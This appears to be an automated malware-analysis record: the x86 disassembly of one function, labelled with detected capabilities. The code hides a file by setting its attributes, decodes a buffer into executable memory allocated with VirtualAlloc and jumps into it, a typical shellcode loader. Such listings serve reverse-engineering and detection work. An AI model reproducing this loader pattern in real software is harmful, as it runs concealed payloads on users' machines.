Function at 0x10002120
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resolve function by parsing pe exports
Set file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10008aa2
mov eax, dword fs:[0]
push eax
sub esp, 0xf8
mov eax, dword [0x1000d0f0]
xor eax, esp
mov dword [esp + 0xf0], eax
push ebx
push esi
push edi
mov eax, dword [0x1000d0f0]
xor eax, esp
push eax
lea eax, [esp + 0x108]
mov dword fs:[0], eax
lea eax, [esp + 0x70]
xor ebx, ebx
push eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0xe4], 0x3020100
mov dword [esp + 0xe8], 0x7060504
mov dword [esp + 0xec], 0xb0a0908
mov dword [esp + 0xf0], 0xfde0d0c
mov dword [esp + 0xf4], 0x13122110
mov dword [esp + 0xf8], 0x17161514
mov dword [esp + 0xfc], 0x1b1a1918
mov dword [esp + 0x100], 0x2f2e2d3c
call fcn.10001fc0
add esp, 4
push eax
mov eax, 0x1000b0ec
lea esi, [esp + 0xc8]
mov dword [esp + 0x114], ebx
call fcn.10002750
add esp, 4
push eax
mov eax, str.log.cached
lea esi, [esp + 0xac]
mov byte [esp + 0x114], 1
call fcn.10002750
add esp, 4
mov edi, 0x10
cmp dword [esp + 0xd8], edi
jb 0x10002222
mov ecx, dword [esp + 0xc4]
push ecx
call fcn.10002ab6
add esp, 4
mov esi, 0xf
mov dword [esp + 0xd8], esi
mov dword [esp + 0xd4], ebx
mov byte [esp + 0xc4], bl
mov byte [esp + 0x110], 4
cmp dword [esp + 0x84], edi
jb 0x1000225a
mov edx, dword [esp + 0x70]
push edx
call fcn.10002ab6
add esp, 4
lea eax, [esp + 0xa8]
mov dword [esp + 0x80], ebx
mov byte [esp + 0x70], bl
mov dword [esp + 0x24], ebx
mov byte [esp + 0x14], bl
push eax
or eax, 0xffffffff
xor ebx, ebx
lea ecx, [esp + 0x18]
mov dword [esp + 0x88], esi
mov dword [esp + 0x2c], esi
call fcn.10001900
mov eax, dword [esp + 0x14]
mov esi, 0x10
cmp dword [esp + 0x28], esi
jae 0x100022a1
lea eax, [esp + 0x14]
push 7
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
cmp dword [esp + 0x28], esi
jb 0x100022bd
mov ecx, dword [esp + 0x14]
push ecx
call fcn.10002ab6
add esp, 4
mov eax, dword [esp + 0xa8]
cmp dword [esp + 0xbc], esi
jae 0x100022d4
lea eax, [esp + 0xa8]
lea edx, [esp + 0x10]
push edx
call fcn.10001ed0
mov ecx, eax
add esp, 4
mov dword [esp + 0x10], eax
lea esi, [ecx + 1]
lea ebx, [ebx]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x100022f0
sub ecx, esi
xor edx, edx
mov edi, ecx
lea esi, [esp + 0x38]
mov dword [esp + 0x4c], 0xf
mov dword [esp + 0x48], edx
mov byte [esp + 0x38], dl
call fcn.100019e0
mov byte [esp + 0x110], 5
mov eax, dword [esp + 0x48]
mov ecx, esi
push eax
push ecx
mov ebx, 0x26
lea esi, [esp + 0x78]
call fcn.10001600
mov esi, eax
lea edx, [esp + 0x38]
lea edi, [ebx - 0x16]
cmp edx, esi
je 0x1000239c
cmp dword [esp + 0x4c], edi
jb 0x10002354
mov eax, dword [esp + 0x38]
push eax
call fcn.10002ab6
add esp, 4
xor ebx, ebx
mov dword [esp + 0x4c], 0xf
mov dword [esp + 0x48], ebx
mov byte [esp + 0x38], bl
cmp dword [esi + 0x14], edi
jae 0x10002380
mov eax, dword [esi + 0x10]
inc eax
push eax
lea ecx, [esp + 0x3c]
push esi
push ecx
call fcn.10002ad0
add esp, 0xc
jmp 0x10002388
mov edx, dword [esi]
mov dword [esp + 0x38], edx
mov dword [esi], ebx
mov eax, dword [esi + 0x10]
mov dword [esp + 0x48], eax
mov ecx, dword [esi + 0x14]
mov dword [esp + 0x4c], ecx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
mov byte [esp + 0x110], 5
cmp dword [esp + 0x84], edi
jb 0x100023ba
mov edx, dword [esp + 0x70]
push edx
call fcn.10002ab6
add esp, 4
mov eax, dword [esp + 0x48]
add eax, 0xfffffff2
push eax
lea ecx, [esp + 0x3c]
push ecx
xor ebx, ebx
lea esi, [esp + 0x78]
call fcn.10001600
mov esi, eax
lea edx, [esp + 0x38]
lea edi, [ebx + 0x10]
cmp edx, esi
je 0x1000243c
cmp dword [esp + 0x4c], edi
jb 0x100023f2
mov eax, dword [esp + 0x38]
push eax
call fcn.10002ab6
add esp, 4
xor ebx, ebx
mov dword [esp + 0x4c], 0xf
mov dword [esp + 0x48], ebx
mov byte [esp + 0x38], bl
cmp dword [esi + 0x14], edi
jae 0x1000241e
mov eax, dword [esi + 0x10]
inc eax
push eax
lea ecx, [esp + 0x3c]
push esi
push ecx
call fcn.10002ad0
add esp, 0xc
jmp 0x10002426
mov edx, dword [esi]
mov dword [esp + 0x38], edx
mov dword [esi], ebx
mov eax, dword [esi + 0x10]
mov dword [esp + 0x48], eax
mov ecx, dword [esi + 0x14]
mov dword [esp + 0x4c], ecx
mov dword [esi + 0x10], ebx
mov dword [esi + 0x14], ebx
jmp 0x1000243e
xor ebx, ebx
mov byte [esp + 0x110], 5
cmp dword [esp + 0x84], edi
jb 0x1000245c
mov edx, dword [esp + 0x70]
push edx
call fcn.10002ab6
add esp, 4
lea eax, [esp + 0x38]
mov dword [esp + 0x9c], ebx
mov byte [esp + 0x8c], bl
push eax
or eax, 0xffffffff
xor ebx, ebx
lea ecx, [esp + 0x90]
mov dword [esp + 0xa4], 0xf
call fcn.10001900
lea ecx, [esp + 0x8c]
push ecx
lea ecx, [esp + 0x58]
mov byte [esp + 0x114], 8
call fcn.10001320
add esp, 4
mov byte [esp + 0x110], 9
mov esi, dword [esp + 0x64]
push esi
call fcn.100030ed
mov edi, eax
add esp, 4
xor eax, eax
cmp esi, ebx
jbe 0x100024e2
cmp dword [esp + 0x68], 0x10
mov ecx, dword [esp + 0x54]
jae 0x100024d3
lea ecx, [esp + 0x54]
mov dl, byte [ecx + eax]
mov byte [eax + edi], dl
mov esi, dword [esp + 0x64]
inc eax
cmp eax, esi
jb 0x100024c4
lea eax, [esp + 0x34]
push eax
push esi
push edi
lea esi, [esp + 0xec]
call fcn.100025f0
mov ecx, dword [esp + 0x70]
add esp, 0xc
push 0x40
push 0x3000
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [esp + 0x64]
push edx
mov esi, eax
push edi
push esi
call fcn.100069d0
mov eax, dword [esp + 0x1c]
add esp, 0xc
cmp eax, ebx
je 0x10002531
push 0x8000
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
call esi
mov edi, 0x10
cmp dword [esp + 0x68], edi
jb 0x1000254b
mov eax, dword [esp + 0x54]
push eax
call fcn.10002ab6
add esp, 4
mov esi, 0xf
mov dword [esp + 0x68], esi
mov dword [esp + 0x64], ebx
mov byte [esp + 0x54], bl
cmp dword [esp + 0xa0], edi
jb 0x10002575
mov ecx, dword [esp + 0x8c]
push ecx
call fcn.10002ab6
add esp, 4
mov dword [esp + 0xa0], esi
mov dword [esp + 0x9c], ebx
mov byte [esp + 0x8c], bl
cmp dword [esp + 0x4c], edi
jb 0x1000259d
mov edx, dword [esp + 0x38]
push edx
call fcn.10002ab6
add esp, 4
mov dword [esp + 0x4c], esi
mov dword [esp + 0x48], ebx
mov byte [esp + 0x38], bl
cmp dword [esp + 0xbc], edi
jb 0x100025c2
mov eax, dword [esp + 0xa8]
push eax
call fcn.10002ab6
add esp, 4
mov eax, 1
mov ecx, dword [esp + 0x108]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xf0]
xor ecx, esp
call fcn.1000296c
mov esp, ebp
pop ebp
ret